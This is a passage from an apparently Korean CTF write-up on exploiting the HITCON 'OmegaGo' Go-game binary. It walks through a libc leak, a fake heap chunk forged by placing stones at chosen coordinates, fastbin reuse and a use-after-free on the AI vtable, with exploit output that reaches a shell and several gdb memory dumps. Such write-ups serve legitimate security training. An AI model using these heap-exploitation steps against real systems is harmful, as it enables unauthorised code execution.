...
해당 함수는 다음과 같은 기능을 합니다.
callPrintBoard() 함수에 의해 Borad가 출력됩니다.
scanf() 함수를 이용해 사용자로 부터 좌표 값 또는 명령어를 입력 받습니다.
특이한 부분은 다음과 같습니다.
입력 받은 내용을 gCmd(0x60943C) 전역 변수에 저장
10개의 문자를 입력 받지만 sscanf()함수에 의해 앞에 2개의 문자만 1개의 문자,1개의 숫자값을 사용
입력 받은 명령어에 따라 다음과 같이 값을 설정합니다.
surrender : col = -1, row = -1
regret : col = -2, row = -2
- 명령어가 아닐 경우 좌표 값이 저장됩니다.
...
Panel | ||
---|---|---|
| ||
|
- 다음과 같은 구조로 shell을 획득합니다.
Panel | ||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|
|
공격에 필요한 정보 수집
Leak Libc address
...
- 다음과 같이 Fake chunk를 확인 할 수 있습니다.
- 182번 위치 값을 입력해 gPlayerGameInfo 전역 변수에 Heap address(0xac6010)가 저장되었습니다.
- Heap 영역에 Fakechunk가 구현 되어있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py [!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead [+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 7625 [*] Libc Address : 0x7ff0339f6b78 [*] Libc Base Address : 0x7ff033632000 [*] execve bash Address : 0x7ff0337186bd [*] Switching to interactive mode ABCDEFGHIJKLMNOPQRS 19 ..O...XO.\x00XX....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ...X............... 13 ................... 12 .O................. 11 XXXXXXXXXXXXXXXXXXX 10 XXXXXXXXXOOOOOOOOOO 9 OOOOOOOOOOOOOOOOOOO 8 .................X. 7 ................... 6 ...............O... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 179.85 $ |
Code Block |
---|
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 7625
Attaching to process 7625
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ x/4gx 0x609FC0
0x609fc0: 0x0000000000ac6010 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000020
gdb-peda$ x/20gx 0x0000000000ac6010
0xac6010: 0x0000000000000000 0x0000000000000000
0xac6020: 0x0000000000000000 0x0000000000000020
0xac6030: 0xaaaa000000001000 0x555555aaaaaaaaaa
0xac6040: 0x0000000155555555 0x0000000000000020
0xac6050: 0x0000000000001000 0x0000000000000000
0xac6060: 0x0000000000000000 0x0000000000000000
0xac6070: 0x0000000a00000009 0x500001000000004f
0xac6080: 0x40667febca5375c7 0x40667b29ac365450
0xac6090: 0x0000000000000000 0x000000000000df71
0xac60a0: 0x0000000000000000 0x0000000000000000
gdb-peda$ c
Continuing. |
다음과 같이 gPlayerGameInfo 전역 변수에 저장된 Heap address(0xac6010)를 변경되었습니다.
위치 값으로 변경 가능한 Heap address의 bit 영역은 다음과 같습니다.
1010 1100 0110 0000 0001 0000
다음과 같이 값을 변경합니다.
1010 1100 0110 0010 1001 0000
위치 값 : D19, E19
사용자가 입력한 값 D19, E19에 의해 gPlayerGameInfo.board[0]에 저장된 값이 0xac6290 으로 변경되었습니다.
- 0xac6290 영역은 GameInfo.board[9] 영역입니다.
- 0xac6290 영역은 GameInfo.board[9] 영역입니다.
Code Block |
---|
$ D19
ABCDEFGHIJKLMNOPQRS
19 ..OX..OX.XXX.......
...
Time remain: O: 180.00, X: 154.17
$ E19
ABCDEFGHIJKLMNOPQRS
19 ..OXX.OX.XXX.......
...
Time remain: O: 180.00, X: 151.96
$ |
...
Code Block | ||
---|---|---|
|
...
| |
^C Program received signal SIGINT, Interrupt. 0x00007f25b8a7d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 in ../sysdeps/unix/syscall-template.S gdb-peda$ x/4gx 0x609FC0 0x609fc0: 0x0000000000ac6290 0x0000000000ac60d0 0x609fd0: 0x0000000000ac6190 0x0000000000ac6250 gdb-peda$ x/20gx 0x0000000000ac6290 - 0x10 0xac6280: 0x0000000155555555 0x0000000000000020 0xac6290: 0x0000000000001000 0x0000000000000000 0xac62a0: 0x0000000000000000 0x0000000000000400 0xac62b0: 0x0000000400000000 0x5000010000000058 0xac62c0: 0x40667febb1290256 0x4060b9413db7f173 0xac62d0: 0xb02c3b6be73a708c 0x0000000000000031 0xac62e0: 0xc6d1f75f00000000 0x0000000000abbc90 0xac62f0: 0x0000000000000000 0x0000000000000000 0xac6300: 0x6c0eb26d35c354ca 0x0000000000000091 0xac6310: 0x0000000000ac6290 0x0000000000ac60d0 gdb-peda$ |
- 다음과 같이 Fack chunk에 AI의 vtable공간이 할당됩니다.
- UAF를 확인하기 위해 다음과 같이 Break point를 설정합니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ b *0x401761
Breakpoint 1 at 0x401761
gdb-peda$ c
Continuing. |
"surrender" 를 입력하고 게임을 재시작하면 다음과 같이 Heap 영역이 변경됩니다.
변경된 heap address에 의해 Fake chunk는 fastbins에 추가 되었습니다.
- AI의 vtable을 저장 할 Heap 영역을 요청하면 fastbins에 등록되었던 Fack chunk(0xac6290)가 할당됩니다.
Code Block |
---|
$ surrender This AI is too strong, ah? Play history? (y/n) $ n Play again? (y/n) $ y ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 $ |
...